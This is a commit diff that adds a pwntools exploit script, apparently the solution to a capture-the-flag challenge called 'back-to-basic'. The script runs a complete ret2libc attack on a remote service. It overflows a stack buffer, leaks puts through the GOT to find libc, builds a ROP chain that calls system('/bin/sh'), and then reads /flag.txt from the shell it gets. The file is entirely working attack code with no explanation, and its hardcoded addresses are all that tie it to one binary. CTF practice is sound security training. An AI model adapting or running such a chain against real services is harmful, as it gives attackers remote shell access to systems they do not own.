Initial commit

exploits.old/back-to-basic/exp.py

@@ -0,0 +1,42 @@
+from pwn import *
+import sys
+
+context.arch = 'amd64'
+
+HOST = sys.argv[1]
+PORT = 22000
+
+def conn():
+    return remote(HOST, PORT, level='warn')
+
+def main():
+    global r
+    r = conn()
+    r.recvline()
+
+    junk = b"A" * (0x40 + 8)
+    pop_rdi = p64(0x401243)
+    plt_puts = p64(0x401060)
+    got_puts = p64(0x403fd8)
+    main_addr = p64(0x4011a9)
+    ret = p64(0x40101a)
+
+    payload = junk + pop_rdi + got_puts + plt_puts + main_addr
+    
+    r.sendline(payload)
+    leak = u64(r.recvline(False).ljust(8,b"\x00"))
+    libc = leak - 0x84420
+    system = libc + 0x52290
+    binsh = libc + 0x1b45bd
+    # print(f"puts @ {hex(leak)}")
+    # print(f"system @ {hex(system)}")
+    # print(f"binsh @ {hex(binsh)}")
+
+    payload = junk + ret + pop_rdi + p64(binsh) + p64(system) + main_addr
+    r.sendline(payload)
+    r.sendline(b"echo 1337")
+    r.recvuntil(b"1337")
+    r.sendline(b"cat /flag.txt")
+    print(r.recvuntil(b'}').decode().strip())
+
+main()